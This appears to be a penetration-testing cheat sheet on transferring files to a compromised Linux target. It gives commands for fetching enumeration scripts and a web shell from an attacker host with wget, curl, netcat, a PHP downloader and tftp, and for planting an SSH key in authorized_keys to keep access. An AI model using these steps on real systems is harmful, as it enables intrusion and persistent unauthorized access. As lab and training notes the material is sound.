Transferring Files - Linux

Web servers

python3 -m http.server 8000 Start a local webserver

wget http://10.10.14.1:8000/linpeas.sh Download a file on the remote server from our local machine

curl http://10.10.14.1:8000/linenum.sh -o linenum.sh Download a file on the remote server from our local machine

Netcat

netcat is a good way to transfer files if you do not have an interactive shell.

On attacking machine:

nc -lvp 4444 < file

On target machine:

nc 192.168.1.102 4444 > file

I have sometimes received this error:

This is nc from the netcat-openbsd package. An alternative nc is available

I have just run this command instead:

nc -l 1234 > file.sh

With php

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

Ftp

If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted.

Tftp

To use Tftp to transfer the file, run it interactively like this:

$ tftp 192.168.0.101
tftp> get myfile.txt

If that does not work, try this:

tftp 191.168.0.101 <<< "get shell5555.php shell5555.php"

SSH - SCP

If you are able to connect to a target through SSH, you can use this to transfer files.

So, in the /home/user directory you can find the hidden .ssh files by typing ls -la. Then you need to do two things.

1. Create a new keypair

You do that with:

ssh-keygen -t rsa -C "[e-mail]"

then you enter a name for the key.

Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKey Enter passphrase (empty for no passphrase): Enter same passphrase again:

This will create two files, one called nameOfMyKey and another called nameOfMyKey_pub. The one with the _pub is of course your public key. And the other key is your private.

1. Add your public key to authorized_keys.

Now you copy the content of nameOfMyKey_pub. On the compromised machine you go to ~/.ssh and then run add the public key to the file authorized_keys. Like this

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_keys

1. Log in.

Now you should be all set to log in using your private key. Like this

ssh -i nameOfMyKey kim@192.168.1.103

SCP

Now we can copy files to a machine using scp

# Copy a file:
scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext

# Copy a directory:
scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination